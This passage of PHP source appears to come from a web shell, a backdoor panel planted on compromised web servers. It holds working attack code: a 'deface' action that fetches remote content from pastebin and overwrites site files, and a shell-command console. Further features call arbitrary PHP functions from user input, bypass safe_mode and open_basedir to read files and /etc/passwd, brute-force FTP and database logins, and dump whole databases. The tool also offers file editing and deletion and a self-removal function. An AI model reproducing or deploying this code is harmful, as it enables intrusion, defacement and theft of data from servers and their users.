644 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
645 $def = file_get_contents('http://pastebin.com/download.php?i=f8T6tQse');
646 file_put_contents($_POST['c'].$_POST['p2'],$def);
647 }
648 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
649 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
650 global $sort;
651 $sort = array('name', 1);
652 if(!empty($_POST['p1'])) {
653 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
654 $sort = array($match[1], (int)$match[2]);
655 }
656 echo '<script>
657 function sa() {
658 for(i=0;i<document.files.elements.length;i++)
659 if(document.files.elements[i].type == \'checkbox\')
660 document.files.elements[i].checked = document.files.elements[0].checked;
661 }
662 </script>
663 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
664 <form name=files method=post>';
665 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
666 $dirs = $files = $links = array();
667 $n = count($dirContent);
668 for($i=0;$i<$n;$i++) {
669 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
670 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
671 $tmp = array('name' => $dirContent[$i],
672 'path' => $GLOBALS['cwd'].$dirContent[$i],
673 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
674 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
675 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
676 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
677 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
678 );
679 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
680 $files[] = array_merge($tmp, array('type' => 'file'));
681 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
682 $links[] = array_merge($tmp, array('type' => 'link'));
683 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
684 $dirs[] = array_merge($tmp, array('type' => 'dir'));
685 }
686 $GLOBALS['sort'] = $sort;
687 function cmp($a, $b) {
688 if($GLOBALS['sort'][0] != 'size')
689 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
690 else
691 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
692 }
693 usort($files, "cmp");
694 usort($dirs, "cmp");
695 usort($links, "cmp");
696 $files = array_merge($dirs, $links, $files);
697 $l = 0;
698 foreach($files as $f) {
699 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
700 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
701 $l = $l?0:1;
702 }
703 echo '<tr><td colspan=5>
704 <input type=hidden name=a value=\'FilesMan\'>
705 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
706 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
707 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
708 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
709 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
710 </form></table></div>';
711 printFooter();
712}
713
714function actionStringTools() {
715 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
716 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
717 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
718 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
719
720 if(isset($_POST['ajax'])) {
721 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
722 ob_start();
723 if(function_exists($_POST['p1']))
724 echo $_POST['p1']($_POST['p2']);
725 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
726 echo strlen($temp), "\n", $temp;
727 exit;
728 }
729 printHeader();
730 echo '<h1>String conversions</h1><div class=content>';
731 $stringTools = array(
732 'Base64 encode' => 'base64_encode',
733 'Base64 decode' => 'base64_decode',
734 'Url encode' => 'urlencode',
735 'Url decode' => 'urldecode',
736 'Full urlencode' => 'full_urlencode',
737 'md5 hash' => 'md5',
738 'sha1 hash' => 'sha1',
739 'crypt' => 'crypt',
740 'CRC32' => 'crc32',
741 'ASCII to HEX' => 'ascii2hex',
742 'HEX to ASCII' => 'hex2ascii',
743 'HEX to DEC' => 'hexdec',
744 'HEX to BIN' => 'hex2bin',
745 'DEC to HEX' => 'dechex',
746 'DEC to BIN' => 'decbin',
747 'BIN to HEX' => 'bin2hex',
748 'BIN to DEC' => 'bindec',
749 'String to lower case' => 'strtolower',
750 'String to upper case' => 'strtoupper',
751 'Htmlspecialchars' => 'htmlspecialchars',
752 'String length' => 'strlen',
753 );
754 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
755 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
756 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
757 foreach($stringTools as $k => $v)
758 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
759 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
760 if(!empty($_POST['p1'])) {
761 if(function_exists($_POST['p1']))
762 echo htmlspecialchars($_POST['p1']($_POST['p2']));
763 }
764 echo"</pre></div>";
765 printFooter();
766}
767
768function actionFilesTools() {
769 if( isset($_POST['p1']) )
770 $_POST['p1'] = urldecode($_POST['p1']);
771 if(@$_POST['p2']=='download') {
772 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
773 ob_start("ob_gzhandler", 4096);
774 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
775 if (function_exists("mime_content_type")) {
776 $type = @mime_content_type($_POST['p1']);
777 header("Content-Type: ".$type);
778 }
779 $fp = @fopen($_POST['p1'], "r");
780 if($fp) {
781 while(!@feof($fp))
782 echo @fread($fp, 1024);
783 fclose($fp);
784 }
785 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
786
787 }
788 exit;
789 }
790 if( @$_POST['p2'] == 'mkfile' ) {
791 if(!file_exists($_POST['p1'])) {
792 $fp = @fopen($_POST['p1'], 'w');
793 if($fp) {
794 $_POST['p2'] = "edit";
795 fclose($fp);
796 }
797 }
798 }
799 printHeader();
800 echo '<h1>File tools</h1><div class=content>';
801 if( !file_exists(@$_POST['p1']) ) {
802 echo 'File not exists';
803 printFooter();
804 return;
805 }
806 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
807 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
808 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
809 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
810 if( empty($_POST['p2']) )
811 $_POST['p2'] = 'view';
812 if( is_file($_POST['p1']) )
813 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
814 else
815 $m = array('Chmod', 'Rename', 'Touch');
816 foreach($m as $v)
817 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
818 echo '<br><br>';
819 switch($_POST['p2']) {
820 case 'view':
821 echo '<pre class=ml1>';
822 $fp = @fopen($_POST['p1'], 'r');
823 if($fp) {
824 while( !@feof($fp) )
825 echo htmlspecialchars(@fread($fp, 1024));
826 @fclose($fp);
827 }
828 echo '</pre>';
829 break;
830 case 'highlight':
831 if( is_readable($_POST['p1']) ) {
832 echo '<div class=ml1 style="background-color: #430303;color:black;">';
833 $code = highlight_file($_POST['p1'],true);
834 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
835 }
836 break;
837 case 'chmod':
838 if( !empty($_POST['p3']) ) {
839 $perms = 0;
840 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
841 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
842 if(!@chmod($_POST['p1'], $perms))
843 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
844 else
845 die('<script>g(null,null,null,null,"")</script>');
846 }
847 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
848 break;
849 case 'edit':
850 if( !is_writable($_POST['p1'])) {
851 echo 'File isn\'t writeable';
852 break;
853 }
854 if( !empty($_POST['p3']) ) {
855 @file_put_contents($_POST['p1'],$_POST['p3']);
856 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
857 }
858 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
859 $fp = @fopen($_POST['p1'], 'r');
860 if($fp) {
861 while( !@feof($fp) )
862 echo htmlspecialchars(@fread($fp, 1024));
863 @fclose($fp);
864 }
865 echo '</textarea><input type=submit value=">>"></form>';
866 break;
867 case 'hexdump':
868 $c = @file_get_contents($_POST['p1']);
869 $n = 0;
870 $h = array('00000000<br>','','');
871 $len = strlen($c);
872 for ($i=0; $i<$len; ++$i) {
873 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
874 switch ( ord($c[$i]) ) {
875 case 0: $h[2] .= ' '; break;
876 case 9: $h[2] .= ' '; break;
877 case 10: $h[2] .= ' '; break;
878 case 13: $h[2] .= ' '; break;
879 default: $h[2] .= $c[$i]; break;
880 }
881 $n++;
882 if ($n == 32) {
883 $n = 0;
884 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
885 $h[1] .= '<br>';
886 $h[2] .= "\n";
887 }
888 }
889 echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
890 break;
891 case 'rename':
892 if( !empty($_POST['p3']) ) {
893 if(!@rename($_POST['p1'], $_POST['p3']))
894 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
895 else
896 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
897 }
898 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
899 break;
900 case 'touch':
901 if( !empty($_POST['p3']) ) {
902 $time = strtotime($_POST['p3']);
903 if($time) {
904 if(@touch($_POST['p1'],$time,$time))
905 die('<script>g(null,null,null,null,"")</script>');
906 else {
907 echo 'Fail!<script>document.mf.p3.value="";</script>';
908 }
909 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
910 }
911 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
912 break;
913 case 'mkfile':
914
915 break;
916 }
917 echo '</div>';
918 printFooter();
919}
920
921function actionSafeMode() {
922 $temp='';
923 ob_start();
924 switch($_POST['p1']) {
925 case 1:
926 $temp=@tempnam($test, 'cx');
927 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
928 echo @file_get_contents($temp);
929 unlink($temp);
930 } else
931 echo 'Sorry... Can\'t open file';
932 break;
933 case 2:
934 $files = glob($_POST['p2'].'*');
935 if( is_array($files) )
936 foreach ($files as $filename)
937 echo $filename."\n";
938 break;
939 case 3:
940 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
941 curl_exec($ch);
942 break;
943 case 4:
944 ini_restore("safe_mode");
945 ini_restore("open_basedir");
946 include($_POST['p2']);
947 break;
948 case 5:
949 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
950 $uid = @posix_getpwuid($_POST['p2']);
951 if ($uid)
952 echo join(':',$uid)."\n";
953 }
954 break;
955 case 6:
956 if(!function_exists('imap_open'))break;
957 $stream = imap_open($_POST['p2'], "", "");
958 if ($stream == FALSE)
959 break;
960 echo imap_body($stream, 1);
961 imap_close($stream);
962 break;
963 }
964 $temp = ob_get_clean();
965 printHeader();
966 echo '<h1>Safe mode bypass</h1><div class=content>';
967 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
968 if($temp)
969 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
970 echo '</div>';
971 printFooter();
972}
973
974function actionConsole() {
975 if(isset($_POST['ajax'])) {
976 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
977 ob_start();
978 echo "document.cf.cmd.value='';\n";
979 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
980 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
981 if(@chdir($match[1])) {
982 $GLOBALS['cwd'] = @getcwd();
983 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
984 }
985 }
986 echo "document.cf.output.value+='".$temp."';";
987 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
988 $temp = ob_get_clean();
989 echo strlen($temp), "\n", $temp;
990 exit;
991 }
992 printHeader();
993
994echo '<script>
995if(window.Event) window.captureEvents(Event.KEYDOWN);
996var cmds = new Array("");
997var cur = 0;
998function kp(e) {
999 var n = (window.Event) ? e.which : e.keyCode;
1000 if(n == 38) {
1001 cur--;
1002 if(cur>=0)
1003 document.cf.cmd.value = cmds[cur];
1004 else
1005 cur++;
1006 } else if(n == 40) {
1007 cur++;
1008 if(cur < cmds.length)
1009 document.cf.cmd.value = cmds[cur];
1010 else
1011 cur--;
1012 }
1013}
1014function add(cmd) {
1015 cmds.pop();
1016 cmds.push(cmd);
1017 cmds.push("");
1018 cur = cmds.length-1;
1019}
1020</script>';
1021 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1022 foreach($GLOBALS['aliases'] as $n => $v) {
1023 if($v == '') {
1024 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1025 continue;
1026 }
1027 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1028 }
1029 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1030 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1031 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1032 if(!empty($_POST['p1'])) {
1033 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1034 }
1035 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
1036 echo '</form></div><script>document.cf.cmd.focus();</script>';
1037 printFooter();
1038}
1039
1040function actionLogout() {
1041 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1042 echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i59.tinypic.com/1zx9mbb.gif"><br>
1043<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
1044<span style="color:red;font: 20pt audiowide;text-shadow: 0 0 4px white, 0px 0px 10px red">Your are out now :D<br></h2></span></center></body>';
1045}
1046
1047function actionSelfRemove() {
1048 printHeader();
1049 if($_POST['p1'] == 'yes') {
1050 if(@unlink(SELF_PATH))
1051 die('Shell has been removed');
1052 else
1053 echo 'unlink error!';
1054 }
1055 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1056 printFooter();
1057}
1058
1059function actionBruteforce() {
1060 printHeader();
1061 if( isset($_POST['proto']) ) {
1062 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1063 if( $_POST['proto'] == 'ftp' ) {
1064 function bruteForce($ip,$port,$login,$pass) {
1065 $fp = @ftp_connect($ip, $port?$port:21);
1066 if(!$fp) return false;
1067 $res = @ftp_login($fp, $login, $pass);
1068 @ftp_close($fp);
1069 return $res;
1070 }
1071 } elseif( $_POST['proto'] == 'mysql' ) {
1072 function bruteForce($ip,$port,$login,$pass) {
1073 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1074 @mysql_close($res);
1075 return $res;
1076 }
1077 } elseif( $_POST['proto'] == 'pgsql' ) {
1078 function bruteForce($ip,$port,$login,$pass) {
1079 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1080 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1081 @pg_close($res);
1082 return $res;
1083 }
1084 }
1085 $success = 0;
1086 $attempts = 0;
1087 $server = explode(":", $_POST['server']);
1088 if($_POST['type'] == 1) {
1089 $temp = @file('/etc/passwd');
1090 if( is_array($temp) )
1091 foreach($temp as $line) {
1092 $line = explode(":", $line);
1093 ++$attempts;
1094 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1095 $success++;
1096 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1097 }
1098 if(@$_POST['reverse']) {
1099 $tmp = "";
1100 for($i=strlen($line[0])-1; $i>=0; --$i)
1101 $tmp .= $line[0][$i];
1102 ++$attempts;
1103 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1104 $success++;
1105 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1106 }
1107 }
1108 }
1109 } elseif($_POST['type'] == 2) {
1110 $temp = @file($_POST['dict']);
1111 if( is_array($temp) )
1112 foreach($temp as $line) {
1113 $line = trim($line);
1114 ++$attempts;
1115 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1116 $success++;
1117 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1118 }
1119 }
1120 }
1121 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1122 }
1123 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1124 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1125 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1126 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1127 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1128 .'<span>Server:port</span></td>'
1129 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1130 .'<tr><td><span>Brute type</span></td>'
1131 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1132 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1133 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1134 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1135 .'<td><input type=text name=login value="komsen"></td></tr>'
1136 .'<tr><td><span>Dictionary</span></td>'
1137 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1138 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1139 echo '</div><br>';
1140 printFooter();
1141}
1142
1143function actionSql() {
1144 class DbClass {
1145 var $type;
1146 var $link;
1147 var $res;
1148 function DbClass($type) {
1149 $this->type = $type;
1150 }
1151 function connect($host, $user, $pass, $dbname){
1152 switch($this->type) {
1153 case 'mysql':
1154 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1155 break;
1156 case 'pgsql':
1157 $host = explode(':', $host);
1158 if(!$host[1]) $host[1]=5432;
1159 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1160 break;
1161 }
1162 return false;
1163 }
1164 function selectdb($db) {
1165 switch($this->type) {
1166 case 'mysql':
1167 if (@mysql_select_db($db))return true;
1168 break;
1169 }
1170 return false;
1171 }
1172 function query($str) {
1173 switch($this->type) {
1174 case 'mysql':
1175 return $this->res = @mysql_query($str);
1176 break;
1177 case 'pgsql':
1178 return $this->res = @pg_query($this->link,$str);
1179 break;
1180 }
1181 return false;
1182 }
1183 function fetch() {
1184 $res = func_num_args()?func_get_arg(0):$this->res;
1185 switch($this->type) {
1186 case 'mysql':
1187 return @mysql_fetch_assoc($res);
1188 break;
1189 case 'pgsql':
1190 return @pg_fetch_assoc($res);
1191 break;
1192 }
1193 return false;
1194 }
1195 function listDbs() {
1196 switch($this->type) {
1197 case 'mysql':
1198 return $this->res = @mysql_list_dbs($this->link);
1199 break;
1200 case 'pgsql':
1201 return $this->res = $this->query("SELECT datname FROM pg_database");
1202 break;
1203 }
1204 return false;
1205 }
1206 function listTables() {
1207 switch($this->type) {
1208 case 'mysql':
1209 return $this->res = $this->query('SHOW TABLES');
1210 break;
1211 case 'pgsql':
1212 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1213 break;
1214 }
1215 return false;
1216 }
1217 function error() {
1218 switch($this->type) {
1219 case 'mysql':
1220 return @mysql_error($this->link);
1221 break;
1222 case 'pgsql':
1223 return @pg_last_error($this->link);
1224 break;
1225 }
1226 return false;
1227 }
1228 function setCharset($str) {
1229 switch($this->type) {
1230 case 'mysql':
1231 if(function_exists('mysql_set_charset'))
1232 return @mysql_set_charset($str, $this->link);
1233 else
1234 $this->query('SET CHARSET '.$str);
1235 break;
1236 case 'mysql':
1237 return @pg_set_client_encoding($this->link, $str);
1238 break;
1239 }
1240 return false;
1241 }
1242 function dump($table) {
1243 switch($this->type) {
1244 case 'mysql':
1245 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1246 $create = mysql_fetch_array($res);
1247 echo $create[1].";\n\n";
1248 $this->query('SELECT * FROM `'.$table.'`');
1249 while($item = $this->fetch()) {
1250 $columns = array();
1251 foreach($item as $k=>$v) {
1252 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1253 $columns[] = "`".$k."`";
1254 }
1255 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1256 }
1257 break;
1258 case 'pgsql':
1259 $this->query('SELECT * FROM '.$table);
1260 while($item = $this->fetch()) {
1261 $columns = array();
1262 foreach($item as $k=>$v) {
1263 $item[$k] = "'".addslashes($v)."'";
1264 $columns[] = $k;
1265 }
1266 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1267 }
1268 break;
1269 }
1270 return false;
1271 }
1272 };
1273 $db = new DbClass(@$_POST['type']);
1274 if(@$_POST['p2']=='download') {
1275 ob_start("ob_gzhandler", 4096);
1276 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1277 $db->selectdb($_POST['sql_base']);
1278 header("Content-Disposition: attachment; filename=dump.sql");
1279 header("Content-Type: text/plain");
1280 foreach($_POST['tbl'] as $v)
1281 $db->dump($v);
1282 exit;
1283 }
1284 printHeader();
1285 echo '<h1>Sql browser</h1><div class=content>
1286 <form name="sf" method="post">
1287 <table cellpadding="2" cellspacing="0">
1288 <tr>
1289 <td>Type</td>
1290 <td>Host</td>
1291 <td>Login</td>
1292 <td>Password</td>
1293 <td>Database</td>
1294 <td></td>
1295 </tr>
1296 <tr>
1297 <input type=hidden name=a value=Sql>
1298 <input type=hidden name=p1 value=\'query\'>
1299 <input type=hidden name=p2>
1300 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1301 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1302 <td>
1303 <select name=\'type\'>
1304 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1305 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1306 </select></td>
1307 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1308 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1309 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1310 <td>';
1311 $tmp = "<input type=text name=sql_base value=''>";
1312 if(isset($_POST['sql_host'])){
1313 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1314 switch($_POST['charset']) {
1315 case "Windows-1251": $db->setCharset('cp1251'); break;
1316 case "UTF-8": $db->setCharset('utf8'); break;
1317 case "KOI8-R": $db->setCharset('koi8r'); break;
1318 case "KOI8-U": $db->setCharset('koi8u'); break;
1319 case "cp866": $db->setCharset('cp866'); break;
1320 }
